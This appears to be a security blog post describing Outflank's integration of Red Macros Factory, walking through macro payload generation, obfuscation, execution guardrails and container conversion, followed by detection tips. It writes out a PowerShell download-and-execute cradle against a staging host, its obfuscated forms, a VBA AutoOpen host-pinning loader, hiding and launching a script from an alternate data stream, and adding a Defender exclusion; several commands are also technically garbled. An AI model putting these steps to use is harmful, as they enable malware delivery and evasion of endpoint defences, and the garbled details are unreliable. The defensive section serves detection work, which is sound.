Listen to this Post
Introduction
The integration of Mariusz Banach’s Red Macros Factory into Outflank’s Security Tooling (OST) marks a significant evolution in offensive tradecraft, particularly in the domain of script‑based payload delivery and evasion. This move enhances Outflank’s Builder tool with improved script payload generation, runtime obfuscation, machine‑specific execution guardrails, and expanded conversion paths — directly impacting how red teams simulate advanced persistent threats (APTs) and test endpoint detection and response (EDR) solutions.
Learning Objectives
- Understand the components of Red Macros Factory and how they integrate with OST’s Builder tool.
- Apply runtime obfuscation and machine‑pinning techniques to evade static and behavioral detections.
- Generate and convert macro‑based payloads across multiple file formats for realistic adversary emulation.
You Should Know
- Improved Script Payload Generation with New File Formats
Red Macros Factory extends OST’s ability to produce payloads in formats that bypass traditional macro‑blocking policies. Beyond classic VBA macros in Office documents, the integration supports VBScript, JScript, HTA, and even ISO/IMG container files — each designed to deliver shellcode or PowerShell payloads with minimal user interaction.
Step‑by‑step: Generating a VBA macro payload with OST Builder
1. Launch Outflank Builder and navigate to Payloads > Script Payloads.
2. Select “Red Macros Factory” as the generator engine.
3. Choose output format: VBA (Excel/Word), VBS, JS, or HTA.
4. Specify your Cobalt Strike team server listener (e.g., HTTP beacon).
5. Enable “Inject into Unmanaged Memory” to avoid `WinWord.exe` child process flags.
6. Click `Generate` — the tool produces a macro‑embedded document template.
7. Test with a sandboxed Windows VM running Defender real‑time protection.
Windows command to inspect macro content (after extraction):
Extract macro from Office file using oledump.py (Python) oledump.py -s macro -v malicious.docm > macro_code.vba Search for common evasion strings Select-String -Path macro_code.vba -Pattern "CreateObject|Shell|Run|WScript.Shell"
2. Runtime Obfuscation on Every Script Output
Static signature detection is defeated because each script output receives unique, per‑execution obfuscation. Variables, function names, and control flow are randomized using a polymorphic engine. String literals are split, reversed, XOR‑ed, or Base64‑encoded, then decoded at runtime.
Step‑by‑step: Manual runtime obfuscation (conceptual mirror of OST’s method)
1. Write a simple PowerShell download cradle:
`IEX (New-Object Net.WebClient).DownloadString(“http://192.168.1.100/payload.ps1”)`
2. Apply string splitting and reordering:
`$a=’IEX (New-Object Net.WebClient).DownloadString’; $b=”http://192.168.1.100/payload.ps1″; & $a $b`
3. Encode with Base64 and use `iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(“S…”))))`
4. Inject random comments and dead code:
`$x=Get-Random; if($x -ne $null){$null}`
Linux command to obfuscate a VBS script using random variable names:
Simple obfuscator for demo – randomizes variable names in a VBS file cat payload.vbs | sed 's/var_/\$R'$(openssl rand -hex 4)'/g' > obfuscated_payload.vbs
OST’s built‑in obfuscator cycles through dozens of such techniques, ensuring that even repeated extractions from the same target produce distinct binaries.
3. Guardrails for Pinning Execution to Specific Machines
A key evasion feature is execution guardrails — the script checks environmental artifacts before running the actual payload. Common checks include: MAC address prefix, domain name, hostname, file system presence (e.g., `C:\Windows\System32\drivers\vmguest.sys` for VM detection), and running processes (e.g., ProcMon.exe, Wireshark.exe).
Step‑by‑step: Implementing a simple host‑pinning guardrail in VBA
Function IsTargetMachine() As Boolean
Dim host As String
host = Environ("COMPUTERNAME")
' Only execute on specific host
If host = "DC01-CORP" Then
IsTargetMachine = True
Else
' Self‑destruct or sleep
Exit Function
End If
End Function
Sub AutoOpen()
If IsTargetMachine() Then
' Load encrypted shellcode
Call DecodeAndExecute
End If
End Sub
Windows PowerShell command to fingerprint a machine before payload delivery:
Get-WmiObject Win32_BIOS | Select-Object SerialNumber Get-NetAdapter | Select-Object MacAddress Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" | Out-String
OST’s guardrails can be configured via a YAML rule file, allowing operators to specify multiple allowed hosts or domains, and even time‑window restrictions.
4. Expanded Conversion Paths
The integration adds new conversion pipelines — for example, turning a VBA macro into a VBS script, then into a self‑extracting RAR, and finally into an ISO that auto‑executes via Autorun.inf. These chained conversions bypass email gateways that only inspect one layer of nesting.
Step‑by‑step: Manual conversion chain (VBA → VBS → ISO)
1. Start with a VBA macro that writes a VBS file to `%TEMP%` and executes it.
2. Extract the VBS logic and convert standalone VBS to a PowerShell script using `ps2vbs` converter.
3. Wrap the PowerShell script inside a VBS using CreateObject("WScript.Shell").Run "powershell -enc ...",0,False.
4. Package the final VBS into an ISO using mkisofs:
mkisofs -o output.iso -J -R -hide-joliet-trans-tbl -V "DOCUMENTS" -b autorun.inf -no-emul-boot -boot-load-size 4 payload.vbs
Windows command to hide a VBS inside an alternate data stream (ADS) of a benign file:
type payload.vbs > "C:\Users\Public\readme.txt:stage1.vbs" wmic process call create "wscript.exe C:\Users\Public\readme.txt:stage1.vbs"
OST automates these multi‑stage conversions, enabling red teams to deliver payloads that survive perimeter scanning and initial sandbox analysis.
5. Defensive Mitigations and Detection Strategies
Understanding offensive advances is incomplete without defensive countermeasures. To detect Red Macros Factory‑generated payloads, blue teams should focus on behavioral anomalies rather than static signatures.
Step‑by‑step: Detecting runtime obfuscation and guardrails
- Enable PowerShell Script Block Logging (GPO:
Turn on PowerShell Script Block Logging). - Monitor for `IEX` calls with Base64‑encoded strings longer than 500 characters.
- Use Sysmon Event ID 1 (process creation) to flag `wscript.exe` or `cscript.exe` spawning from Office applications.
- Deploy AMSI bypass detection rules: look for `amsi.dll` patching or `amsiInitFailed` variable manipulation.
- Hunt for repeated `Get-WmiObject` queries for BIOS serials or MAC addresses — common guardrail artifacts.
Linux command to analyze a suspicious Office document for macro anomalies:
Extract OLE streams and search for known obfuscation patterns olevba suspicious.docm | grep -E "CreateObject|eval|chr|asc|replace|xor" Detect guardrail-like WMI calls olevba -c suspicious.docm | grep -i "win32_bios|win32_networkadapterconfiguration"
Windows Defender bypass test (simulating what OST might attempt):
Check if Defender real‑time protection is on Get-MpPreference | Select-Object DisableRealtimeMonitoring Attempt to exclude a folder (requires admin) Add-MpPreference -ExclusionPath "C:\Users\Public\payloads"
Organizations should enforce macro execution only from trusted, network‑signed locations and use Application Control (WDAC) to restrict script engines.
What Undercode Say
- Key Takeaway 1: Red Macros Factory transforms script‑based payloads from predictable artifacts into polymorphic, context‑aware weapons — raising the bar for both evasive tradecraft and defensive detection logic.
- Key Takeaway 2: Machine pinning and multi‑stage conversion paths demonstrate a shift toward pre‑execution fingerprinting and layered container evasion, making email and web gateways largely ineffective unless they perform deep behavioral sandboxing.
Analysis: The Outflank integration is not merely a feature update; it formalizes techniques previously seen only in nation‑state toolkits (e.g., Cobalt Strike’s Artifact Kit on steroids). For defenders, relying on hash‑based or simple YARA rules becomes futile. Instead, invest in process ancestry monitoring, AMSI telemetry, and environment‑based detections (e.g., unexpected WMI queries). Red teams gain a modular framework to test EDR’s script‑analysis engines without writing custom obfuscators. The open availability (via OST) will likely trigger a wave of similar features in competitors like Cobalt Strike and Covenant, further commoditizing advanced evasion.
Prediction
Within 12 months, script payload generation will fully integrate AI‑driven runtime mutation — where the payload rewrites itself on every execution based on the victim’s registry, installed software, and network layout. Simultaneously, Microsoft will harden Office’s macro‑blocking policies to require `Mark of the Web` persistence checks, pushing attackers into alternative script hosts (e.g., MSHTA, regsvr32, or WMI event subscriptions). The Red Macros Factory approach signals a long‑term trend: the decline of single‑stage payloads and the rise of resilient, multi‑pipeline execution chains that require defenders to monitor the entire execution stack, not just the initial file.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Jay Angsman – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
